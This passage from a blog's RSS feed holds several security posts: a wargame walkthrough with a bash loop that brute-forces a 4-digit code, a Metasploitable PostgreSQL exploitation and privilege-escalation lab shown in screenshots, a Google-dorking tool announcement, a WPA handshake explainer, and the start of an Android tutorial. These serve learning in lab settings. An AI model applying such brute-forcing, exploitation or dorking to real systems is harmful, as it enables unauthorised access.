src="https://cdn.embedly.com/widgets/media.html?src=https%3A%2F%2Fgiphy.com%2Fembed%2FTIRlx3Fzi1A7L2d5z7%2Ftwitter%2Fiframe&amp;display_name=Giphy&amp;url=https%3A%2F%2Fmedia.giphy.com%2Fmedia%2Fv1.Y2lkPTc5MGI3NjExM2g4dXN4a3hhOTA5cTU3bnN4dzY3Y2J5aG5hNTZvbWR0cmZ5MDZueCZlcD12MV9naWZzX3NlYXJjaCZjdD1n%2FTIRlx3Fzi1A7L2d5z7%2Fgiphy.gif&amp;image=https%3A%2F%2Fmedia4.giphy.com%2Fmedia%2Fv1.Y2lkPTc5MGI3NjExNDAyYXl4emU0MG00bnAydmcwMmJ6cjd0OHUwYzJ4dHpuY2JxY2VybiZlcD12MV9pbnRlcm5hbF9naWZfYnlfaWQmY3Q9Zw%2FTIRlx3Fzi1A7L2d5z7%2Fgiphy_s.gif&amp;type=text%2Fhtml&amp;schema=giphy" width="435" height="244" frameborder="0" scrolling="no"><a href="https://medium.com/media/fba09dc2548532324b9cc3775e4fcee7/href">https://medium.com/media/fba09dc2548532324b9cc3775e4fcee7/href</a></iframe><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=682901853271" width="1" height="1" alt=""><hr><p><a href="https://infosecwriteups.com/shadowgate-active-directory-lab-walkthrough-hacksmarter-682901853271">ShadowGate Active Directory Lab Walkthrough [HackSmarter]</a> was originally published in <a href="https://infosecwriteups.com/">InfoSec Write-ups</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Leviathan6 : Over The Wire]]></title>
            <link>https://infosecwriteups.com/leviathan6-over-the-wire-1f2363918462?source=rss-ae85c9e708cc------2</link>
            <guid isPermaLink="false">https://medium.com/p/1f2363918462</guid>
            <category><![CDATA[overthewire]]></category>
            <category><![CDATA[learning]]></category>
            <category><![CDATA[walkthrough]]></category>
            <category><![CDATA[overthewire-writeup]]></category>
            <category><![CDATA[hacking]]></category>
            <dc:creator><![CDATA[incoggeek]]></dc:creator>
            <pubDate>Tue, 19 Nov 2024 12:33:58 GMT</pubDate>
            <atom:updated>2024-11-19T20:30:27.403Z</atom:updated>
            <content:encoded><![CDATA[<h3>Leviathan6 : Over The Wire</h3><h3>Overview</h3><p>Leviathan Level 6 is part of the <strong>OverTheWire CTF</strong> (Capture The Flag) challenges, designed to enhance your understanding of Linux command-line tools, basic scripting, and reverse engineering. In this level, the player is tasked with finding a 4-digit password to progress to the next level. The executable `leviathan6` prompts the user for this password, and the challenge lies in discovering the correct code through brute force or analysis.</p><h3>Objective</h3><p>The main goal is to execute the `<strong>leviathan6</strong>` binary located in the user’s home directory and provide it with the <strong>correct 4-digit code</strong>. Successfully entering this code allows access to the next level, `<strong>leviathan7</strong>`.</p><h3>Initial Exploration</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/913/1*Y9QBtlt5UNC8TeDXjnaGgQ.png" /></figure><p>This indicates that the program requires a 4-digit code as an argument.</p><h3>Brute-Forcing the Password</h3><p>Given that there are only 10,000 possible combinations (from 0000 to 9999), a brute-force approach is feasible. A simple Bash script can be created to automate this process:</p><pre>#!/bin/bash<br><br># Define the path to the leviathan6 executable<br>LEVIATHAN6_PATH=&quot;/home/leviathan6&quot;  # Replace with the actual path<br><br># Loop through all numbers from 0 to 9999<br>for i in $(seq -f &quot;%04g&quot; 0 9999); do<br>    if ! &quot;$LEVIATHAN6_PATH/leviathan6&quot; &quot;$i&quot;; then<br>        echo &quot;Error executing leviathan6 with argument $i&quot;<br>    fi<br>done</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/762/1*nvVlSk8ZNu0pwYGI4eMKQw.png" /><figcaption>Before Script execution</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/801/1*am_MlsA9QdUuU69SIZfYfw.png" /><figcaption>Before Script execution</figcaption></figure><p>This script iterates through all possible combinations, executing `leviathan6` with each one combo.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/745/1*wwex25dnfIBAQYWgivrHmw.png" /></figure><p><strong>Note</strong> : This is random your may be different directory</p><p>Now, open any editor here (vi, nano), I will use <em>nano</em> so copy paste the above code and in <em>script.sh</em> file, save and exit. And make sure, you give execute permission.</p><h3>Running the Script</h3><p>Finally run ./script.sh. Since there are 10000s combo you might not find the correct one but you don’t need to bother about that just do the following</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/759/1*7na1Ge9YB3M4NpimlORPcA.png" /></figure><p>You are now <strong>leviathan7</strong> means you can read the <em>passwd</em> of leviathan7 now.</p><h3>Successful Execution</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/828/1*H_i-bRg6_Nxw3ckAil7r6Q.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/640/0*d_CWl6w7jGYi7p3-.gif" /></figure><p>We got the password! Alright go ahead with next level.</p><h3>Suggestion</h3><p>You will likely find this article to solve this lab. However you should checkout because it teaches a lot if you are good at programming and curios to learn at memory level.</p><p><a href="https://mayadevbe.me/posts/overthewire/leviathan/level7/">Leviathan Level 6 -&gt; 7 - OverTheWire Walkthrough</a></p><p><strong>Thank you for reading!</strong> If you’re interested in more walkthrough, comment down. I’m open to suggestions or questions — let me know what you’d like to see next!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/302/0*_V93WlPR-uRKkLAq.gif" /></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=1f2363918462" width="1" height="1" alt=""><hr><p><a href="https://infosecwriteups.com/leviathan6-over-the-wire-1f2363918462">Leviathan6 : Over The Wire</a> was originally published in <a href="https://infosecwriteups.com/">InfoSec Write-ups</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Metasploitable Privilege Escalation]]></title>
            <link>https://infosecwriteups.com/metasploitable-privilege-escalation-2eda43c18e72?source=rss-ae85c9e708cc------2</link>
            <guid isPermaLink="false">https://medium.com/p/2eda43c18e72</guid>
            <category><![CDATA[metasploitable]]></category>
            <category><![CDATA[metasploit]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[cybersecurity-training]]></category>
            <dc:creator><![CDATA[incoggeek]]></dc:creator>
            <pubDate>Tue, 05 Nov 2024 13:54:15 GMT</pubDate>
            <atom:updated>2024-11-14T17:47:41.949Z</atom:updated>
            <content:encoded><![CDATA[<p>I have set up <strong>Metasploitable 1</strong> alongside a <strong>Kali Linux virtual machine (VM)</strong> to create a comprehensive environment for penetration testing and security training.</p><h3>Additional Details About the Setup</h3><p>If you want to follow this up with more details about the setup itself, you could include:</p><h4>1. Virtualization Software:</h4><p>— Both Metasploitable 1 and Kali Linux are running on VirtualBox, which allows for easy management and configuration of virtual machines.</p><h4>2. System Requirements:</h4><p>— The Kali VM is allocated sufficient resources, such as 4 GB of RAM and 2 CPUs, to ensure smooth operation during testing.</p><h4>3. Network Configuration:</h4><p>— The network settings for both VMs are configured to use a <strong>Bridged Adapter</strong>, allowing them to communicate with each other and the host machine seamlessly.</p><h4>4. Purpose of the Setup:</h4><p>— This configuration is designed for practicing penetration testing techniques, where Metasploitable serves as a vulnerable target while Kali Linux provides the necessary tools for exploitation.</p><h4>5. Installation Process:</h4><p>— Kali Linux was installed using a pre-built image, ensuring that all necessary tools are readily available without extensive setup time.</p><h4>6. Security Considerations:</h4><p>— The environment is isolated from the main network to prevent any accidental exposure of vulnerabilities while conducting tests.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*ZK2Ce7dACK2UETVz" /></figure><p>Let’s find, victim machine’s IP, but I didn’t get what I wanted here with <strong>netdiscover</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*JzReBBn4PfJXiJsY" /></figure><p>Alternatively, I can find IP using following command</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*Ed4eH4gliEedGQFo" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*Ju4ILzaY5PP_Pi4_" /></figure><p><strong>I’ve successfully identified the IP address of the target machine.</strong> In this lab, I’ll be focusing on exploiting <strong>port 5432</strong>, which is the default port for <strong>PostgreSQL</strong>. PostgreSQL is a commonly targeted service, and I’ll demonstrate how to exploit any potential vulnerabilities associated with this service to gain unauthorized access to the system.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*oWySXBFYUCw09eGc" /></figure><p>Using Metasploit’s powerful search capabilities, I’m identifying relevant exploits based on the services and versions running on the system. I’ll be narrowing down the options to find the best fit for privilege escalation or remote code execution.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*BgEXA3_Izw6BTFmg" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*QO0ZCDEytYZzuSpk" /></figure><p>To set the attacker and victim IP addresses in your penetration testing setup using Metasploit, <strong>you should check options cmd BTW.</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*_oV84KisYIF6aUCt" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/0*_eim-vnKjT1ADPed" /><figcaption>Attacker’s IP</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*ULdPF9Dk_A5Qo4Vu" /></figure><iframe src="https://cdn.embedly.com/widgets/media.html?src=https%3A%2F%2Fgiphy.com%2Fembed%2F3ohhweiVB36rAlqVCE%2Ftwitter%2Fiframe&amp;display_name=Giphy&amp;url=https%3A%2F%2Fgiphy.com%2Fgifs%2Fmarvelstudios-3ohhweiVB36rAlqVCE&amp;image=https%3A%2F%2Fmedia0.giphy.com%2Fmedia%2Fv1.Y2lkPTc5MGI3NjExNGQzbHZpMXBsdDFyd2FrcWQ5c2ptbnM4bno0MGIzdmc4eGt0eXAxayZlcD12MV9pbnRlcm5hbF9naWZfYnlfaWQmY3Q9Zw%2F3ohhweiVB36rAlqVCE%2Fgiphy_s.gif&amp;type=text%2Fhtml&amp;schema=giphy" width="435" height="435" frameborder="0" scrolling="no"><a href="https://medium.com/media/52c1a0ccf538db2004aca389dd2060a9/href">https://medium.com/media/52c1a0ccf538db2004aca389dd2060a9/href</a></iframe><p>To check the user and group information, we’ll use the following command:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*CvNRthXB31N9KQJD" /></figure><p>I wanted to escalate privilege as I had exploited some port earlier and I will use those creds here. So I tried to list some important files. But <strong>postgres </strong>user was not in sudoers list and only <strong>passwd</strong> file was allowed (IG) then I switched to <strong>msfadmin</strong> user since i had creds.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*vzwQNeMhsbMjcZ1k" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/830/0*Cx9typ6l-CnU5JYn" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*Jj_eY6IzM3_aErn8" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*vsEW6QZlvWWssdCG" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*gTDOJUTavR_5vV3p" /></figure><p><strong>Thank you for reading!</strong> If you’re interested in learning how I exploited other open ports or how I extracted credentials during the process, comment down. I’m open to suggestions or questions — let me know what you’d like to see next!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=2eda43c18e72" width="1" height="1" alt=""><hr><p><a href="https://infosecwriteups.com/metasploitable-privilege-escalation-2eda43c18e72">Metasploitable Privilege Escalation</a> was originally published in <a href="https://infosecwriteups.com/">InfoSec Write-ups</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Exploring the Web’s Hidden Corners with DorkDive: A Google Dorking Tool for Tech Enthusiasts]]></title>
            <link>https://infosecwriteups.com/exploring-the-webs-hidden-corners-with-dorkdive-a-google-dorking-tool-for-tech-enthusiasts-c66816493c76?source=rss-ae85c9e708cc------2</link>
            <guid isPermaLink="false">https://medium.com/p/c66816493c76</guid>
            <category><![CDATA[python]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[bug-bounty]]></category>
            <category><![CDATA[tools]]></category>
            <category><![CDATA[hacking]]></category>
            <dc:creator><![CDATA[incoggeek]]></dc:creator>
            <pubDate>Sun, 14 Jan 2024 14:25:58 GMT</pubDate>
            <atom:updated>2024-01-16T05:04:50.614Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*h4FZbFbXglWK5-YgbQZCDg.jpeg" /></figure><p>In the vast landscape of the internet, there exist hidden corners that harbor valuable information, vulnerabilities, and insights. For tech enthusiasts and cybersecurity geeks, the art of Google Dorking has become an essential skill to unveil these digital treasures.</p><p>Introducing DorkDive, a powerful Google Dorking tool designed for precision and exploration.</p><h4>Features that Set DorkDive Apart</h4><p><strong>Live Dork Extraction:</strong> DorkDive goes beyond by enabling users to extract the latest Google Dorks directly from the GHDB (Google Hacking Database) website. Stay up-to-date with evolving search queries to uncover the newest vulnerabilities.</p><p><strong>One-liner Dorking: </strong>Streamline your search with simplicity. Just specify a single Google Dork, and DorkDive will swiftly display the corresponding results. Effortless yet effective exploration at your fingertips.</p><p><strong>WithFile Dorking:</strong> For those who prefer customization, DorkDive allows you to specify the path to a file containing your custom Google Dorks. This flexibility ensures that you can tailor your searches to meet your unique requirements.</p><p><a href="https://asciinema.org/a/631461">DorkDive Tool</a></p><p><strong>GitHub Repo:</strong> <a href="https://github.com/incoggeek/DorkDive/">https://github.com/incoggeek/DorkDive/</a></p><p>You’re welcome! If you have any more questions or if there’s anything else I can help you with, feel free to ask.</p><p>Happy Hacking! , and follow for more technical content 🚀😊</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=c66816493c76" width="1" height="1" alt=""><hr><p><a href="https://infosecwriteups.com/exploring-the-webs-hidden-corners-with-dorkdive-a-google-dorking-tool-for-tech-enthusiasts-c66816493c76">Exploring the Web’s Hidden Corners with DorkDive: A Google Dorking Tool for Tech Enthusiasts</a> was originally published in <a href="https://infosecwriteups.com/">InfoSec Write-ups</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[4-way handshake in wireless communication]]></title>
            <link>https://infosecwriteups.com/4-way-handshake-in-wireless-communication-9e3d869f18be?source=rss-ae85c9e708cc------2</link>
            <guid isPermaLink="false">https://medium.com/p/9e3d869f18be</guid>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[computer-networking]]></category>
            <category><![CDATA[4-way-handshake]]></category>
            <category><![CDATA[wifihacking]]></category>
            <dc:creator><![CDATA[incoggeek]]></dc:creator>
            <pubDate>Mon, 28 Aug 2023 14:39:26 GMT</pubDate>
            <atom:updated>2024-12-27T04:00:29.219Z</atom:updated>
            <content:encoded><![CDATA[<p>Hello tech enthusiast,</p><p>This topic is very important especially when you want to learn wireless hacking, You should have knowledge of how things work in the backend. So, before we understand the 4-way handshake. There are some terminologies that you need to understand.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*UCiK1J12Yy6GRVSN" /><figcaption>Photo by <a href="https://unsplash.com/@comparefibre?utm_source=medium&amp;utm_medium=referral">Compare Fibre</a> on <a href="https://unsplash.com/?utm_source=medium&amp;utm_medium=referral">Unsplash</a></figcaption></figure><h4><strong>Terminologies</strong></h4><p><strong>NONCE:</strong> Initialization vector (IV) is an arbitrary (random number) that can used within the secret key (passkey) for data encryption called nonce (number used once).</p><p><strong>ANONCE: </strong>NONCE generated by an Access point (router).</p><p><strong>SNONCE:</strong> NONCE generated by a Supplicant (Your phone, laptop)</p><p><strong>MIC (Message Integrity Code):</strong> This is like a seal on a letter that shows if anyone tampered with the message. It helps ensure that the message isn’t messed up or altered during transmission.</p><p><strong>MSK (Master Session Key):</strong> The master session is the first key which is generated either from 802.1X/EAP or derived from PSK authentication. Which helps to create the following keys.</p><p><strong>PMK (Pairwise Master Key): </strong>When the passphrase (router’s password) is entered. The function called a key derivation function takes a passphrase as an input and performs a series of cryptographic operations to produce the PSK (Pre-Shared Key), Now this PSK is used to generate PMK.</p><blockquote>PMK resides on both as in AP (router) and client devices (phone, laptop etc), so we do not need to share this information. We use this information to create PTK which are used for unicast data encryption.</blockquote><p><strong>PTK( Pairwise Transient</strong> <strong>Key): </strong>So, PTK is a combination of PMK, Anonce, SNonce, MAC of Access point, and MAC of the supplicant when we get PTK via PRF (Pseudo Random Function).</p><p><strong>GMK (Group Master Key): </strong>GMK is a key used in Wi-Fi security protocols, such as WPA3, to secure group communication within a Wi-Fi network. It’s generated during the process of establishing a secure connection between devices and the Wi-Fi access point (router). The GMK is used to derive the Group Transient Key (GTK), which is then used to encrypt multicast and broadcast messages sent to multiple devices within the same network. GTK is generated on every access point and shared with the devices connected to the Access point.</p><p><strong>Group Transient Key (GTK):</strong> GTK is derived from the Group Master Key (GMK). It’s a unique key used to encrypt multicast and broadcast messages sent to all devices within a Wi-Fi network. When devices in the network need to receive shared messages (like broadcasted data or multicast traffic), the GTK ensures that only devices connected to the same network can decrypt and understand those messages. This helps protect the privacy of group communications within the Wi-Fi network. there will be a different GTK which will be shared between its associated devices.</p><blockquote>In simple terms, the GMK is the “master key” used to derive the GTK, and the GTK is the actual key that encrypts messages shared among devices within the same Wi-Fi network, ensuring that outsiders can’t easily understand those messages.</blockquote><h4><strong>What is the role of PMK and GMK then?</strong></h4><p>The PMK is like your private secret code that you use to talk securely to the Wi-Fi router. It’s just between you and the router (visiting the bank website, Gmail login, etc.)</p><p>The GMK is like a special magic word that everyone on the same Wi-Fi network knows. It’s used to make sure that when you send messages to everyone on the network, only the people on the network can understand them. This keeps your group chats private.</p><h4><strong>Now understand the handshake,</strong></h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/393/0*9lMIfbnNmwpU0moZ.png" /><figcaption>pic credit: wikipedia</figcaption></figure><p><strong>Message 1:</strong> The access point sends an EAPOL message with Anonce (random number) to the device to generate PTK. Don’t forget client device knows Ap’s MAC because it&#39;s connected to it. It has PMK, Snonce, and its own MAC address. Once it receives Anonce from the access point it has all the inputs to create the PTK.</p><p><strong>Message 2:</strong> Once the device has created its PTK it sends out SNonce which is needed by the access point to generate PTK as well. The device sends EAPOL to AP message with MIC (message integrity check) to make sure the access point can verify whether this message is corrupted or modified. Once SNonce is received by the AP it can generate PTK as well for unicast traffic encryption.</p><p><strong>Message 3:</strong> EAPOL message is sent from AP to the client device containing GTK. AP creates GTK without the involvement of the client from GMK.</p><p><strong>Message 4:</strong> The fourth and last EPOL message will be sent from the client to AP just to confirm that the Keys have been installed.</p><p><strong>Control port unlocked:</strong> Once the 4-way handshake is completed successfully virtual control port which blocks all the traffic will be open and now encrypted traffic can flow. Now all unicast traffic will be encrypted with PTK and all multicast traffic will be encrypted via GTK which is created in the 4-way handshake process.</p><h4>A concept that is related to this topic, I think I should share is, Authentication &amp; Association</h4><p>Authentication and association are fundamental processes in Wi-Fi networking that allow devices to connect to a wireless network. Here’s an overview of each process:</p><ol><li><strong>Authentication:</strong> Authentication is the process of verifying the identity of a device or user before granting access to the network. It ensures that only authorized devices can connect. In Wi-Fi networks, authentication typically involves confirming that the device has the correct credentials to join the network. There are different methods for authentication:</li></ol><p><strong>a. Open System Authentication:</strong> This is a basic form of authentication where the client device sends a request to join the network, and the access point responds with an “OK” signal if it’s allowed to join.<br> <br><strong>b. Shared Key Authentication:</strong> This method involves a challenge-response mechanism. The access point sends a challenge to the client, and the client responds with the correct answer. This helps ensure that the client knows the correct credentials to join</p><p><strong>c. 802.1X and EAP Authentication:</strong> In more secure networks, such as enterprise environments, the Extensible Authentication Protocol (EAP) is often used. It involves more advanced authentication methods, like using certificates or usernames/passwords.</p><p><strong>2. Association:</strong> The association is the process that occurs after authentication. It’s when the client device and the access point agree to communicate with each other. Once authenticated, the client device requests association with a specific access point. The access point accepts the request, and a unique identifier called a Basic Service Set Identifier (BSSID) is assigned to the client’s connection.</p><p>During association, the client and access point also negotiate settings like communication channels and data rates. This helps ensure that the devices can communicate effectively within the network.</p><p>In simple terms, authentication confirms that a device has the right to join a network, and association sets up the rules and parameters for communication between the device and the access point.</p><p><strong>Thank you for reading, This took a lot of effort, drop a comment, and hit the clap button if you liked it.</strong></p><h3>TL;DR</h3><iframe src="https://cdn.embedly.com/widgets/media.html?src=https%3A%2F%2Fwww.youtube.com%2Fembed%2F10GkeFMFCXI%3Fstart%3D1%26feature%3Doembed%26start%3D1&amp;display_name=YouTube&amp;url=https%3A%2F%2Fwww.youtube.com%2Fwatch%3Fv%3D10GkeFMFCXI&amp;image=https%3A%2F%2Fi.ytimg.com%2Fvi%2F10GkeFMFCXI%2Fhqdefault.jpg&amp;type=text%2Fhtml&amp;schema=youtube" width="854" height="480" frameborder="0" scrolling="no"><a href="https://medium.com/media/cb278623f07dc1997c2cdc9ea81fcd44/href">https://medium.com/media/cb278623f07dc1997c2cdc9ea81fcd44/href</a></iframe><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=9e3d869f18be" width="1" height="1" alt=""><hr><p><a href="https://infosecwriteups.com/4-way-handshake-in-wireless-communication-9e3d869f18be">4-way handshake in wireless communication</a> was originally published in <a href="https://infosecwriteups.com/">InfoSec Write-ups</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Android Development For Absolute Beginners]]></title>
            <link>https://medium.com/javarevisited/android-development-for-absolute-beginners-44098675d7ee?source=rss-ae85c9e708cc------2</link>
            <guid isPermaLink="false">https://medium.com/p/44098675d7ee</guid>
            <category><![CDATA[android-tutorials]]></category>
            <category><![CDATA[androiddev]]></category>
            <category><![CDATA[tutorial]]></category>
            <category><![CDATA[android-app-development]]></category>
            <category><![CDATA[android]]></category>
            <dc:creator><![CDATA[incoggeek]]></dc:creator>
            <pubDate>Wed, 28 Jun 2023 09:30:04 GMT</pubDate>
            <atom:updated>2023-06-29T07:24:06.802Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*hh5Pva_T9--9Umqd" /><figcaption>Photo by <a href="https://unsplash.com/@redaquamedia?utm_source=medium&amp;utm_medium=referral">Denny Müller</a> on <a href="https://unsplash.com/?utm_source=medium&amp;utm_medium=referral">Unsplash</a></figcaption></figure><h3>Android Basics: UI</h3><h4>Views and its Terminology</h4><p>A View is <strong>a simple building block of a user interface.</strong> It is a small rectangular box that can be TextView, EditText, or even a button. It occupies the area on the screen in a rectangular area and is responsible for drawing and event handling.</p><ul><li><strong>Layout:</strong> The <strong>layout</strong> of an app is the design or arrangement of what the user sees on the screen</li><li><strong>User Interface</strong>: The user interface of an app is what we see on the screen of the Android device. It consists of one or more rectangular areas called Views, which display information. Some of the Views — the buttons, for example — also respond to touch.</li></ul><blockquote>A computer is a machine that follows a program. An Android device is a computer and an app is a program. Variables inside the device hold values like numbers or text. An object is a special variable that can contain fields and methods. For example, a MediaPlayer object has fields such as a sound file, volume level, playback position, and loop indicator, as well as methods like play, pause, and stop.</blockquote><p><strong>TextView:</strong> The TextView that the user sees on the screen is actually a Java object inside the Android device. So when we talk about the TextView, we are referring to the rectangular area on the screen. It’s used to show text on the screen.</p><p><strong>ImageView:</strong> The ImageView on the screen is actually a Java object on the Android device. It’s easier to think of it as a rectangular area on the screen when talking about what the user sees. It’s used to show images on the screen.</p><p><strong>Button:</strong> A Button on the screen is created by a Java object inside the Android device. This Java object is the actual Button. But when discussing what the user sees, it is easier to call the rectangular area on the screen the “Button”.</p><blockquote>Every View is contained in a larger View called its parent View, and we imagine that the parent of the largest View of all is the glass rectangle of the screen.</blockquote><ul><li><strong>Hard coding:</strong> Hardcode info into the app by adding instructions, e.g. add 10 + 20 or make TextView 100dp wide.</li><li><strong>match_parent:</strong> Set the View’s layout_width to <strong>match_parent</strong> for full width, and layout_height to <strong>match_parent</strong> for full height.</li><li><strong>wrap_content:</strong> Specify <strong>wrap_content</strong> to shrink-wrap the View. Prevent it from wrapping too tightly with <strong>padding</strong>.</li><li>padding: View shrinks to content when width/height is set to <strong>wrap_content</strong>. To prevent tight wrap, add <strong>padding</strong>. It’s like you are making the view larger by adding space inside of the view.</li></ul><ol><li><strong>padding</strong> — keep distance from all the inner boundaries</li><li><strong>padding-left</strong> — keep distance from the left inner boundary</li><li><strong>padding-right</strong> — keep distance from the right inner boundary</li><li><strong>padding-top</strong> — keep distance from the top inner boundary</li><li><strong>padding-bottom</strong> — keep distance from the bottom inner boundary</li></ol><ul><li>margin: Margin enforces spacing between/around views but not adding space inside the view. Android has 5 margin types.</li></ul><ol><li><strong>margin</strong> — keep distance on all the four sides</li><li><strong>margin-left</strong> — keep distance from the left side of the view</li><li><strong>marginRight</strong> — keep distance from the right side of the view</li><li><strong>margin-top</strong> — keep distance from the top of the view</li><li><strong>margin-bottom</strong> — keep distance from the bottom of the view</li></ol><blockquote>Android offers five types of margin and padding: Left, Right, Top, Bottom, and Start/End. Each margin and padding type can be used to specify the spacing between views.</blockquote><h3>ViewGroup</h3><p>A <strong>ViewGroup</strong> is a big View that can contain smaller Views inside of it. The smaller Views are called the <strong>children</strong> of the ViewGroup and might be TextViews or ImageViews. The ViewGroup is called the <strong>parent</strong> of its children. The illustration shows one of the most common ViewGroups, a vertical <strong>LinearLayout</strong>.</p><p>The ViewGroup itself might be transparent, serving only to contain and position its children. Its children, however, will almost always be visible.</p><p>Each child is nested (completely contained) within its parent. A child might have children of its own. For example, the illustration shows a vertical linear layout containing three children. The first is a Relative Layout with two children.</p><h3>View hierarchy</h3><p>There is always one View, called the <strong>root view</strong>, that contains all the other Views (if any). The other Views are children, grandchildren, great-grandchildren, etc., of the root View. The Views, therefore, constitute a family tree, called the <strong>View hierarchy</strong>.</p><blockquote>Views naming convention should be camelCase.</blockquote><h3>LinearLayout</h3><p>All children of a Linear Layout are stacked one after the other, so a vertical list will only have one child per row, no matter how wide they are, and a horizontal list will only be one row high (the height of the tallest child, plus padding). A linear layout respects the <em>margin</em>s between children and the <em>gravity</em> (right, center, or left alignment) of each child.</p><h3>RelativeLayout</h3><p>A RelativeLayout is a ViewGroup that displays the child view in a relative position. The position of each view can be relative to the sibling, (like on the left or below another view), or relative to the position of the main area of the relative layout, like bottom, left, or center.</p><p>This layout is very flexible, Android is used to customize. This layout allows us to position our view or components based on the position of relative or sibling views (with the help of the id). Using this layout you can position a view to be toLeftOf, toRightOf, <strong>below</strong>, or <strong>above</strong> its siblings. This layout is simple because you can place views anywhere and can be used for overlapping a view onto other views.</p><h3>Activity.onCreate</h3><p>There are many <strong>classes</strong> of objects, and one class is named <strong>Activity</strong>. When an app is launched, an object of this class is automatically created, and then one of the object’s methods, named <a href="http://developer.android.com/reference/android/app/Activity.html#onCreate(android.os.Bundle)">onCreate</a>, is called. The instructions of this method tell the device to create and display a <strong>user interface</strong> for the app. This interface consists of areas on the screen that display information and touch-sensitive areas such as buttons.</p><p>Other methods of this Activity object are called automatically when the user interface of this app is covered by another app, for example when the phone starts ringing. A final method, <a href="http://developer.android.com/reference/android/app/Activity.html#onDestroy()">onDestroy</a>, is called when the app’s user interface is no longer needed and can be destroyed. onCreate is the first of these <a href="http://developer.android.com/reference/android/app/Activity.html#ActivityLifecycle">lifecycle methods</a> of the Activity object.</p><h3>Black Box</h3><p>If we know how to invoke a method, supply it with data, and get its output, we can consider it a <strong>black box</strong>: something we can use without understanding its inner workings.</p><h3>Gradle</h3><p>A <strong>computer</strong> is a machine that follows a set of instructions called a <strong>program</strong>. An <strong>Android device</strong> is a type of computer and an <strong>app</strong> is a program.</p><p>An app can be made up of lots of instructions and other things like <strong>resources</strong> like image files. We create these with a desktop application called <strong>Android Studio</strong>.</p><p>Android Studio then uses a tool called Gradle to package the instructions and resources into a file called an <strong>APK</strong> or Android package. This APK can be moved to an Android device and run.</p><h3>MVC(Model View Controller)</h3><iframe src="https://cdn.embedly.com/widgets/media.html?src=https%3A%2F%2Fwww.youtube.com%2Fembed%2Ffa8eUcu30Lw%3Ffeature%3Doembed&amp;display_name=YouTube&amp;url=https%3A%2F%2Fwww.youtube.com%2Fwatch%3Fv%3Dfa8eUcu30Lw&amp;image=https%3A%2F%2Fi.ytimg.com%2Fvi%2Ffa8eUcu30Lw%2Fhqdefault.jpg&amp;key=a19fcc184b9711e1b4764040d3dc5c07&amp;type=text%2Fhtml&amp;schema=youtube" width="854" height="480" frameborder="0" scrolling="no"><a href="https://medium.com/media/bedcf743af0b7755d123d1c330e7cd41/href">https://medium.com/media/bedcf743af0b7755d123d1c330e7cd41/href</a></iframe><h3>Understand Android Studio Folder Structure</h3><p>The Android project contains different types of app modules, source code files, and resource files. We will explore all the folders and files in the Android app.</p><ol><li>Manifests Folder</li><li>Java Folder</li><li>res (Resources) Folder</li></ol><ul><li>Drawable Folder</li><li>Layout Folder</li><li>Mipmap Folder</li><li>Values Folder</li></ul><p>4. Gradle Scripts</p><h4>Manifests Folder</h4><p>The <strong>AndroidManifest.xml</strong> file in the Manifests folder creates our Android application. This file contains information about our app, like the Android version, metadata, states package for Java file, and other parts of the app. It acts as a go-between for the Android OS and our application.</p><p>Following is the manifests folder structure in the Android application.</p><p><strong>AndroidManifest.xml</strong></p><h4>Java folder</h4><p>The Java folder 